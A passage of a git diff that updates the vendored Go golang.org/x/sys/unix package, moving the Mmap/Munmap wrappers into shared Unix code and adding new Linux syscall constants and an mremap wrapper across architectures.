b/vendor/golang.org/x/sys/unix/syscall_solaris.go @@ -716,20 +716,6 @@ func writelen(fd int, buf *byte, nbuf int) (n int, err error) { return } -var mapper = &mmapper{ - active: make(map[*byte][]byte), - mmap: mmap, - munmap: munmap, -} - -func Mmap(fd int, offset int64, length int, prot int, flags int) (data []byte, err error) { - return mapper.Mmap(fd, offset, length, prot, flags) -} - -func Munmap(b []byte) (err error) { - return mapper.Munmap(b) -} - // Event Ports type fileObjCookie struct { diff --git a/vendor/golang.org/x/sys/unix/syscall_unix.go b/vendor/golang.org/x/sys/unix/syscall_unix.go index 8e48c29ec3..8bb30e7ce3 100644 --- a/vendor/golang.org/x/sys/unix/syscall_unix.go +++ b/vendor/golang.org/x/sys/unix/syscall_unix.go @@ -147,6 +147,14 @@ func (m *mmapper) Munmap(data []byte) (err error) { return nil } +func Mmap(fd int, offset int64, length int, prot int, flags int) (data []byte, err error) { + return mapper.Mmap(fd, offset, length, prot, flags) +} + +func Munmap(b []byte) (err error) { + return mapper.Munmap(b) +} + func Read(fd int, p []byte) (n int, err error) { n, err = read(fd, p) if raceenabled { diff --git a/vendor/golang.org/x/sys/unix/syscall_zos_s390x.go b/vendor/golang.org/x/sys/unix/syscall_zos_s390x.go index d3d49ec3ed..44e72edb42 100644 --- a/vendor/golang.org/x/sys/unix/syscall_zos_s390x.go +++ b/vendor/golang.org/x/sys/unix/syscall_zos_s390x.go @@ -285,25 +285,11 @@ func Close(fd int) (err error) { return } -var mapper = &mmapper{ - active: make(map[*byte][]byte), - mmap: mmap, - munmap: munmap, -} - // Dummy function: there are no semantics for Madvise on z/OS func Madvise(b []byte, advice int) (err error) { return } -func Mmap(fd int, offset int64, length int, prot int, flags int) (data []byte, err error) { - return mapper.Mmap(fd, offset, length, prot, flags) -} - -func Munmap(b []byte) (err error) { - return mapper.Munmap(b) -} - //sys Gethostname(buf []byte) (err error) = SYS___GETHOSTNAME_A //sysnb Getegid() (egid int) //sysnb Geteuid() (uid int) diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux.go b/vendor/golang.org/x/sys/unix/zerrors_linux.go index de936b677b..3784f402e5 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux.go @@ -493,6 +493,7 @@ const ( BPF_F_TEST_RUN_ON_CPU = 0x1 BPF_F_TEST_STATE_FREQ = 0x8 BPF_F_TEST_XDP_LIVE_FRAMES = 0x2 + BPF_F_XDP_DEV_BOUND_ONLY = 0x40 BPF_F_XDP_HAS_FRAGS = 0x20 BPF_H = 0x8 BPF_IMM = 0x0 @@ -826,9 +827,9 @@ const ( DM_UUID_FLAG = 0x4000 DM_UUID_LEN = 0x81 DM_VERSION = 0xc138fd00 - DM_VERSION_EXTRA = "-ioctl (2022-07-28)" + DM_VERSION_EXTRA = "-ioctl (2023-03-01)" DM_VERSION_MAJOR = 0x4 - DM_VERSION_MINOR = 0x2f + DM_VERSION_MINOR = 0x30 DM_VERSION_PATCHLEVEL = 0x0 DT_BLK = 0x6 DT_CHR = 0x2 @@ -1197,6 +1198,7 @@ const ( FAN_EVENT_METADATA_LEN = 0x18 FAN_EVENT_ON_CHILD = 0x8000000 FAN_FS_ERROR = 0x8000 + FAN_INFO = 0x20 FAN_MARK_ADD = 0x1 FAN_MARK_DONT_FOLLOW = 0x4 FAN_MARK_EVICTABLE = 0x200 @@ -1233,6 +1235,8 @@ const ( FAN_REPORT_PIDFD = 0x80 FAN_REPORT_TARGET_FID = 0x1000 FAN_REPORT_TID = 0x100 + FAN_RESPONSE_INFO_AUDIT_RULE = 0x1 + FAN_RESPONSE_INFO_NONE = 0x0 FAN_UNLIMITED_MARKS = 0x20 FAN_UNLIMITED_QUEUE = 0x10 FD_CLOEXEC = 0x1 @@ -1860,6 +1864,7 @@ const ( MEMWRITEOOB64 = 0xc0184d15 MFD_ALLOW_SEALING = 0x2 MFD_CLOEXEC = 0x1 + MFD_EXEC = 0x10 MFD_HUGETLB = 0x4 MFD_HUGE_16GB = 0x88000000 MFD_HUGE_16MB = 0x60000000 @@ -1875,6 +1880,7 @@ const ( MFD_HUGE_8MB = 0x5c000000 MFD_HUGE_MASK = 0x3f MFD_HUGE_SHIFT = 0x1a + MFD_NOEXEC_SEAL = 0x8 MINIX2_SUPER_MAGIC = 0x2468 MINIX2_SUPER_MAGIC2 = 0x2478 MINIX3_SUPER_MAGIC = 0x4d5a @@ -1898,6 +1904,9 @@ const ( MOUNT_ATTR_SIZE_VER0 = 0x20 MOUNT_ATTR_STRICTATIME = 0x20 MOUNT_ATTR__ATIME = 0x70 + MREMAP_DONTUNMAP = 0x4 + MREMAP_FIXED = 0x2 + MREMAP_MAYMOVE = 0x1 MSDOS_SUPER_MAGIC = 0x4d44 MSG_BATCH = 0x40000 MSG_CMSG_CLOEXEC = 0x40000000 @@ -2204,6 +2213,7 @@ const ( PACKET_USER = 0x6 PACKET_VERSION = 0xa PACKET_VNET_HDR = 0xf + PACKET_VNET_HDR_SZ = 0x18 PARITY_CRC16_PR0 = 0x2 PARITY_CRC16_PR0_CCITT = 0x4 PARITY_CRC16_PR1 = 0x3 @@ -2221,6 +2231,7 @@ const ( PERF_ATTR_SIZE_VER5 = 0x70 PERF_ATTR_SIZE_VER6 = 0x78 PERF_ATTR_SIZE_VER7 = 0x80 + PERF_ATTR_SIZE_VER8 = 0x88 PERF_AUX_FLAG_COLLISION = 0x8 PERF_AUX_FLAG_CORESIGHT_FORMAT_CORESIGHT = 0x0 PERF_AUX_FLAG_CORESIGHT_FORMAT_RAW = 0x100 @@ -2361,6 +2372,7 @@ const ( PR_FP_EXC_UND = 0x40000 PR_FP_MODE_FR = 0x1 PR_FP_MODE_FRE = 0x2 + PR_GET_AUXV = 0x41555856 PR_GET_CHILD_SUBREAPER = 0x25 PR_GET_DUMPABLE = 0x3 PR_GET_ENDIAN = 0x13 @@ -2369,6 +2381,8 @@ const ( PR_GET_FP_MODE = 0x2e PR_GET_IO_FLUSHER = 0x3a PR_GET_KEEPCAPS = 0x7 + PR_GET_MDWE = 0x42 + PR_GET_MEMORY_MERGE = 0x44 PR_GET_NAME = 0x10 PR_GET_NO_NEW_PRIVS = 0x27 PR_GET_PDEATHSIG = 0x2 @@ -2389,6 +2403,7 @@ const ( PR_MCE_KILL_GET = 0x22 PR_MCE_KILL_LATE = 0x0 PR_MCE_KILL_SET = 0x1 + PR_MDWE_REFUSE_EXEC_GAIN = 0x1 PR_MPX_DISABLE_MANAGEMENT = 0x2c PR_MPX_ENABLE_MANAGEMENT = 0x2b PR_MTE_TAG_MASK = 0x7fff8 @@ -2423,6 +2438,8 @@ const ( PR_SET_FP_MODE = 0x2d PR_SET_IO_FLUSHER = 0x39 PR_SET_KEEPCAPS = 0x8 + PR_SET_MDWE = 0x41 + PR_SET_MEMORY_MERGE = 0x43 PR_SET_MM = 0x23 PR_SET_MM_ARG_END = 0x9 PR_SET_MM_ARG_START = 0x8 @@ -2506,6 +2523,7 @@ const ( PTRACE_GETSIGMASK = 0x420a PTRACE_GET_RSEQ_CONFIGURATION = 0x420f PTRACE_GET_SYSCALL_INFO = 0x420e + PTRACE_GET_SYSCALL_USER_DISPATCH_CONFIG = 0x4211 PTRACE_INTERRUPT = 0x4207 PTRACE_KILL = 0x8 PTRACE_LISTEN = 0x4208 @@ -2536,6 +2554,7 @@ const ( PTRACE_SETREGSET = 0x4205 PTRACE_SETSIGINFO = 0x4203 PTRACE_SETSIGMASK = 0x420b + PTRACE_SET_SYSCALL_USER_DISPATCH_CONFIG = 0x4210 PTRACE_SINGLESTEP = 0x9 PTRACE_SYSCALL = 0x18 PTRACE_SYSCALL_INFO_ENTRY = 0x1 @@ -3072,7 +3091,7 @@ const ( TASKSTATS_GENL_NAME = "TASKSTATS" TASKSTATS_GENL_VERSION = 0x1 TASKSTATS_TYPE_MAX = 0x6 - TASKSTATS_VERSION = 0xd + TASKSTATS_VERSION = 0xe TCIFLUSH = 0x0 TCIOFF = 0x2 TCIOFLUSH = 0x2 @@ -3238,6 +3257,7 @@ const ( TP_STATUS_COPY = 0x2 TP_STATUS_CSUMNOTREADY = 0x8 TP_STATUS_CSUM_VALID = 0x80 + TP_STATUS_GSO_TCP = 0x100 TP_STATUS_KERNEL = 0x0 TP_STATUS_LOSING = 0x4 TP_STATUS_SENDING = 0x2 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_386.go b/vendor/golang.org/x/sys/unix/zerrors_linux_386.go index a46df0f1e5..cfb1430018 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_386.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_386.go @@ -27,22 +27,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x127a BLKBSZGET = 0x80041270 BLKBSZSET = 0x40041271 + BLKDISCARD = 0x1277 + BLKDISCARDZEROES = 0x127c BLKFLSBUF = 0x1261 BLKFRAGET = 0x1265 BLKFRASET = 0x1264 + BLKGETDISKSEQ = 0x80081280 BLKGETSIZE = 0x1260 BLKGETSIZE64 = 0x80041272 + BLKIOMIN = 0x1278 + BLKIOOPT = 0x1279 BLKPBSZGET = 0x127b BLKRAGET = 0x1263 BLKRASET = 0x1262 BLKROGET = 0x125e BLKROSET = 0x125d + BLKROTATIONAL = 0x127e BLKRRPART = 0x125f + BLKSECDISCARD = 0x127d BLKSECTGET = 0x1267 BLKSECTSET = 0x1266 BLKSSZGET = 0x1268 + BLKZEROOUT = 0x127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_amd64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_amd64.go index 6cd4a3ea9d..df64f2d590 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_amd64.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_amd64.go @@ -27,22 +27,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x127a BLKBSZGET = 0x80081270 BLKBSZSET = 0x40081271 + BLKDISCARD = 0x1277 + BLKDISCARDZEROES = 0x127c BLKFLSBUF = 0x1261 BLKFRAGET = 0x1265 BLKFRASET = 0x1264 + BLKGETDISKSEQ = 0x80081280 BLKGETSIZE = 0x1260 BLKGETSIZE64 = 0x80081272 + BLKIOMIN = 0x1278 + BLKIOOPT = 0x1279 BLKPBSZGET = 0x127b BLKRAGET = 0x1263 BLKRASET = 0x1262 BLKROGET = 0x125e BLKROSET = 0x125d + BLKROTATIONAL = 0x127e BLKRRPART = 0x125f + BLKSECDISCARD = 0x127d BLKSECTGET = 0x1267 BLKSECTSET = 0x1266 BLKSSZGET = 0x1268 + BLKZEROOUT = 0x127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_arm.go b/vendor/golang.org/x/sys/unix/zerrors_linux_arm.go index c7ebee24df..3025cd5b2d 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_arm.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_arm.go @@ -27,22 +27,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x127a BLKBSZGET = 0x80041270 BLKBSZSET = 0x40041271 + BLKDISCARD = 0x1277 + BLKDISCARDZEROES = 0x127c BLKFLSBUF = 0x1261 BLKFRAGET = 0x1265 BLKFRASET = 0x1264 + BLKGETDISKSEQ = 0x80081280 BLKGETSIZE = 0x1260 BLKGETSIZE64 = 0x80041272 + BLKIOMIN = 0x1278 + BLKIOOPT = 0x1279 BLKPBSZGET = 0x127b BLKRAGET = 0x1263 BLKRASET = 0x1262 BLKROGET = 0x125e BLKROSET = 0x125d + BLKROTATIONAL = 0x127e BLKRRPART = 0x125f + BLKSECDISCARD = 0x127d BLKSECTGET = 0x1267 BLKSECTSET = 0x1266 BLKSSZGET = 0x1268 + BLKZEROOUT = 0x127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_arm64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_arm64.go index 9d5352c3e4..09e1ffbef9 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_arm64.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_arm64.go @@ -27,22 +27,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x127a BLKBSZGET = 0x80081270 BLKBSZSET = 0x40081271 + BLKDISCARD = 0x1277 + BLKDISCARDZEROES = 0x127c BLKFLSBUF = 0x1261 BLKFRAGET = 0x1265 BLKFRASET = 0x1264 + BLKGETDISKSEQ = 0x80081280 BLKGETSIZE = 0x1260 BLKGETSIZE64 = 0x80081272 + BLKIOMIN = 0x1278 + BLKIOOPT = 0x1279 BLKPBSZGET = 0x127b BLKRAGET = 0x1263 BLKRASET = 0x1262 BLKROGET = 0x125e BLKROSET = 0x125d + BLKROTATIONAL = 0x127e BLKRRPART = 0x125f + BLKSECDISCARD = 0x127d BLKSECTGET = 0x1267 BLKSECTSET = 0x1266 BLKSSZGET = 0x1268 + BLKZEROOUT = 0x127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 @@ -443,6 +452,7 @@ const ( TIOCSWINSZ = 0x5414 TIOCVHANGUP = 0x5437 TOSTOP = 0x100 + TPIDR2_MAGIC = 0x54504902 TUNATTACHFILTER = 0x401054d5 TUNDETACHFILTER = 0x401054d6 TUNGETDEVNETNS = 0x54e3 @@ -515,6 +525,7 @@ const ( XCASE = 0x4 XTABS = 0x1800 ZA_MAGIC = 0x54366345 + ZT_MAGIC = 0x5a544e01 _HIDIOCGRAWNAME = 0x80804804 _HIDIOCGRAWPHYS = 0x80404805 _HIDIOCGRAWUNIQ = 0x80404808 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_loong64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_loong64.go index f26a164f4a..a457235407 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_loong64.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_loong64.go @@ -27,22 +27,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x127a BLKBSZGET = 0x80081270 BLKBSZSET = 0x40081271 + BLKDISCARD = 0x1277 + BLKDISCARDZEROES = 0x127c BLKFLSBUF = 0x1261 BLKFRAGET = 0x1265 BLKFRASET = 0x1264 + BLKGETDISKSEQ = 0x80081280 BLKGETSIZE = 0x1260 BLKGETSIZE64 = 0x80081272 + BLKIOMIN = 0x1278 + BLKIOOPT = 0x1279 BLKPBSZGET = 0x127b BLKRAGET = 0x1263 BLKRASET = 0x1262 BLKROGET = 0x125e BLKROSET = 0x125d + BLKROTATIONAL = 0x127e BLKRRPART = 0x125f + BLKSECDISCARD = 0x127d BLKSECTGET = 0x1267 BLKSECTSET = 0x1266 BLKSSZGET = 0x1268 + BLKZEROOUT = 0x127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_mips.go b/vendor/golang.org/x/sys/unix/zerrors_linux_mips.go index 890bc3c9b7..fee7dfb819 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_mips.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_mips.go @@ -27,22 +27,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x2000127a BLKBSZGET = 0x40041270 BLKBSZSET = 0x80041271 + BLKDISCARD = 0x20001277 + BLKDISCARDZEROES = 0x2000127c BLKFLSBUF = 0x20001261 BLKFRAGET = 0x20001265 BLKFRASET = 0x20001264 + BLKGETDISKSEQ = 0x40081280 BLKGETSIZE = 0x20001260 BLKGETSIZE64 = 0x40041272 + BLKIOMIN = 0x20001278 + BLKIOOPT = 0x20001279 BLKPBSZGET = 0x2000127b BLKRAGET = 0x20001263 BLKRASET = 0x20001262 BLKROGET = 0x2000125e BLKROSET = 0x2000125d + BLKROTATIONAL = 0x2000127e BLKRRPART = 0x2000125f + BLKSECDISCARD = 0x2000127d BLKSECTGET = 0x20001267 BLKSECTSET = 0x20001266 BLKSSZGET = 0x20001268 + BLKZEROOUT = 0x2000127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_mips64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_mips64.go index 549f26ac64..a5b2373aea 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_mips64.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_mips64.go @@ -27,22 +27,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x2000127a BLKBSZGET = 0x40081270 BLKBSZSET = 0x80081271 + BLKDISCARD = 0x20001277 + BLKDISCARDZEROES = 0x2000127c BLKFLSBUF = 0x20001261 BLKFRAGET = 0x20001265 BLKFRASET = 0x20001264 + BLKGETDISKSEQ = 0x40081280 BLKGETSIZE = 0x20001260 BLKGETSIZE64 = 0x40081272 + BLKIOMIN = 0x20001278 + BLKIOOPT = 0x20001279 BLKPBSZGET = 0x2000127b BLKRAGET = 0x20001263 BLKRASET = 0x20001262 BLKROGET = 0x2000125e BLKROSET = 0x2000125d + BLKROTATIONAL = 0x2000127e BLKRRPART = 0x2000125f + BLKSECDISCARD = 0x2000127d BLKSECTGET = 0x20001267 BLKSECTSET = 0x20001266 BLKSSZGET = 0x20001268 + BLKZEROOUT = 0x2000127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_mips64le.go b/vendor/golang.org/x/sys/unix/zerrors_linux_mips64le.go index e0365e32c1..5dde82c98a 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_mips64le.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_mips64le.go @@ -27,22 +27,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x2000127a BLKBSZGET = 0x40081270 BLKBSZSET = 0x80081271 + BLKDISCARD = 0x20001277 + BLKDISCARDZEROES = 0x2000127c BLKFLSBUF = 0x20001261 BLKFRAGET = 0x20001265 BLKFRASET = 0x20001264 + BLKGETDISKSEQ = 0x40081280 BLKGETSIZE = 0x20001260 BLKGETSIZE64 = 0x40081272 + BLKIOMIN = 0x20001278 + BLKIOOPT = 0x20001279 BLKPBSZGET = 0x2000127b BLKRAGET = 0x20001263 BLKRASET = 0x20001262 BLKROGET = 0x2000125e BLKROSET = 0x2000125d + BLKROTATIONAL = 0x2000127e BLKRRPART = 0x2000125f + BLKSECDISCARD = 0x2000127d BLKSECTGET = 0x20001267 BLKSECTSET = 0x20001266 BLKSSZGET = 0x20001268 + BLKZEROOUT = 0x2000127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_mipsle.go b/vendor/golang.org/x/sys/unix/zerrors_linux_mipsle.go index fdccce15ca..2e80ea6b33 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_mipsle.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_mipsle.go @@ -27,22 +27,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x2000127a BLKBSZGET = 0x40041270 BLKBSZSET = 0x80041271 + BLKDISCARD = 0x20001277 + BLKDISCARDZEROES = 0x2000127c BLKFLSBUF = 0x20001261 BLKFRAGET = 0x20001265 BLKFRASET = 0x20001264 + BLKGETDISKSEQ = 0x40081280 BLKGETSIZE = 0x20001260 BLKGETSIZE64 = 0x40041272 + BLKIOMIN = 0x20001278 + BLKIOOPT = 0x20001279 BLKPBSZGET = 0x2000127b BLKRAGET = 0x20001263 BLKRASET = 0x20001262 BLKROGET = 0x2000125e BLKROSET = 0x2000125d + BLKROTATIONAL = 0x2000127e BLKRRPART = 0x2000125f + BLKSECDISCARD = 0x2000127d BLKSECTGET = 0x20001267 BLKSECTSET = 0x20001266 BLKSSZGET = 0x20001268 + BLKZEROOUT = 0x2000127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc.go b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc.go index b2205c83fa..a65dcd7cbe 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc.go @@ -27,22 +27,31 @@ const ( B57600 = 0x10 B576000 = 0x15 B921600 = 0x16 + BLKALIGNOFF = 0x2000127a BLKBSZGET = 0x40041270 BLKBSZSET = 0x80041271 + BLKDISCARD = 0x20001277 + BLKDISCARDZEROES = 0x2000127c BLKFLSBUF = 0x20001261 BLKFRAGET = 0x20001265 BLKFRASET = 0x20001264 + BLKGETDISKSEQ = 0x40081280 BLKGETSIZE = 0x20001260 BLKGETSIZE64 = 0x40041272 + BLKIOMIN = 0x20001278 + BLKIOOPT = 0x20001279 BLKPBSZGET = 0x2000127b BLKRAGET = 0x20001263 BLKRASET = 0x20001262 BLKROGET = 0x2000125e BLKROSET = 0x2000125d + BLKROTATIONAL = 0x2000127e BLKRRPART = 0x2000125f + BLKSECDISCARD = 0x2000127d BLKSECTGET = 0x20001267 BLKSECTSET = 0x20001266 BLKSSZGET = 0x20001268 + BLKZEROOUT = 0x2000127f BOTHER = 0x1f BS1 = 0x8000 BSDLY = 0x8000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64.go index 81aa5ad0f6..cbd34e3d89 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64.go @@ -27,22 +27,31 @@ const ( B57600 = 0x10 B576000 = 0x15 B921600 = 0x16 + BLKALIGNOFF = 0x2000127a BLKBSZGET = 0x40081270 BLKBSZSET = 0x80081271 + BLKDISCARD = 0x20001277 + BLKDISCARDZEROES = 0x2000127c BLKFLSBUF = 0x20001261 BLKFRAGET = 0x20001265 BLKFRASET = 0x20001264 + BLKGETDISKSEQ = 0x40081280 BLKGETSIZE = 0x20001260 BLKGETSIZE64 = 0x40081272 + BLKIOMIN = 0x20001278 + BLKIOOPT = 0x20001279 BLKPBSZGET = 0x2000127b BLKRAGET = 0x20001263 BLKRASET = 0x20001262 BLKROGET = 0x2000125e BLKROSET = 0x2000125d + BLKROTATIONAL = 0x2000127e BLKRRPART = 0x2000125f + BLKSECDISCARD = 0x2000127d BLKSECTGET = 0x20001267 BLKSECTSET = 0x20001266 BLKSSZGET = 0x20001268 + BLKZEROOUT = 0x2000127f BOTHER = 0x1f BS1 = 0x8000 BSDLY = 0x8000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64le.go b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64le.go index 76807a1fd4..e4afa7a317 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64le.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64le.go @@ -27,22 +27,31 @@ const ( B57600 = 0x10 B576000 = 0x15 B921600 = 0x16 + BLKALIGNOFF = 0x2000127a BLKBSZGET = 0x40081270 BLKBSZSET = 0x80081271 + BLKDISCARD = 0x20001277 + BLKDISCARDZEROES = 0x2000127c BLKFLSBUF = 0x20001261 BLKFRAGET = 0x20001265 BLKFRASET = 0x20001264 + BLKGETDISKSEQ = 0x40081280 BLKGETSIZE = 0x20001260 BLKGETSIZE64 = 0x40081272 + BLKIOMIN = 0x20001278 + BLKIOOPT = 0x20001279 BLKPBSZGET = 0x2000127b BLKRAGET = 0x20001263 BLKRASET = 0x20001262 BLKROGET = 0x2000125e BLKROSET = 0x2000125d + BLKROTATIONAL = 0x2000127e BLKRRPART = 0x2000125f + BLKSECDISCARD = 0x2000127d BLKSECTGET = 0x20001267 BLKSECTSET = 0x20001266 BLKSSZGET = 0x20001268 + BLKZEROOUT = 0x2000127f BOTHER = 0x1f BS1 = 0x8000 BSDLY = 0x8000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_riscv64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_riscv64.go index d4a5ab9e4e..44f45a039d 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_riscv64.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_riscv64.go @@ -27,22 +27,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x127a BLKBSZGET = 0x80081270 BLKBSZSET = 0x40081271 + BLKDISCARD = 0x1277 + BLKDISCARDZEROES = 0x127c BLKFLSBUF = 0x1261 BLKFRAGET = 0x1265 BLKFRASET = 0x1264 + BLKGETDISKSEQ = 0x80081280 BLKGETSIZE = 0x1260 BLKGETSIZE64 = 0x80081272 + BLKIOMIN = 0x1278 + BLKIOOPT = 0x1279 BLKPBSZGET = 0x127b BLKRAGET = 0x1263 BLKRASET = 0x1262 BLKROGET = 0x125e BLKROSET = 0x125d + BLKROTATIONAL = 0x127e BLKRRPART = 0x125f + BLKSECDISCARD = 0x127d BLKSECTGET = 0x1267 BLKSECTSET = 0x1266 BLKSSZGET = 0x1268 + BLKZEROOUT = 0x127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_s390x.go b/vendor/golang.org/x/sys/unix/zerrors_linux_s390x.go index 66e65db951..74733e260f 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_s390x.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_s390x.go @@ -27,22 +27,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x127a BLKBSZGET = 0x80081270 BLKBSZSET = 0x40081271 + BLKDISCARD = 0x1277 + BLKDISCARDZEROES = 0x127c BLKFLSBUF = 0x1261 BLKFRAGET = 0x1265 BLKFRASET = 0x1264 + BLKGETDISKSEQ = 0x80081280 BLKGETSIZE = 0x1260 BLKGETSIZE64 = 0x80081272 + BLKIOMIN = 0x1278 + BLKIOOPT = 0x1279 BLKPBSZGET = 0x127b BLKRAGET = 0x1263 BLKRASET = 0x1262 BLKROGET = 0x125e BLKROSET = 0x125d + BLKROTATIONAL = 0x127e BLKRRPART = 0x125f + BLKSECDISCARD = 0x127d BLKSECTGET = 0x1267 BLKSECTSET = 0x1266 BLKSSZGET = 0x1268 + BLKZEROOUT = 0x127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_sparc64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_sparc64.go index 48984202c6..f5f3934b1a 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_sparc64.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_sparc64.go @@ -30,22 +30,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x2000127a BLKBSZGET = 0x40081270 BLKBSZSET = 0x80081271 + BLKDISCARD = 0x20001277 + BLKDISCARDZEROES = 0x2000127c BLKFLSBUF = 0x20001261 BLKFRAGET = 0x20001265 BLKFRASET = 0x20001264 + BLKGETDISKSEQ = 0x40081280 BLKGETSIZE = 0x20001260 BLKGETSIZE64 = 0x40081272 + BLKIOMIN = 0x20001278 + BLKIOOPT = 0x20001279 BLKPBSZGET = 0x2000127b BLKRAGET = 0x20001263 BLKRASET = 0x20001262 BLKROGET = 0x2000125e BLKROSET = 0x2000125d + BLKROTATIONAL = 0x2000127e BLKRRPART = 0x2000125f + BLKSECDISCARD = 0x2000127d BLKSECTGET = 0x20001267 BLKSECTSET = 0x20001266 BLKSSZGET = 0x20001268 + BLKZEROOUT = 0x2000127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux.go b/vendor/golang.org/x/sys/unix/zsyscall_linux.go index 722c29a008..a07321bed9 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_linux.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_linux.go @@ -1356,7 +1356,7 @@ func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) ( // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT -func Pselect(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { +func pselect6(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *sigset_argpack) (n int, err error) { r0, _, e1 := Syscall6(SYS_PSELECT6, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask))) n = int(r0) if e1 != 0 { @@ -1868,6 +1868,17 @@ func munmap(addr uintptr, length uintptr) (err error) { // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT +func mremap(oldaddr uintptr, oldlength uintptr, newlength uintptr, flags int, newaddr uintptr) (xaddr uintptr, err error) { + r0, _, e1 := Syscall6(SYS_MREMAP, uintptr(oldaddr), uintptr(oldlength), 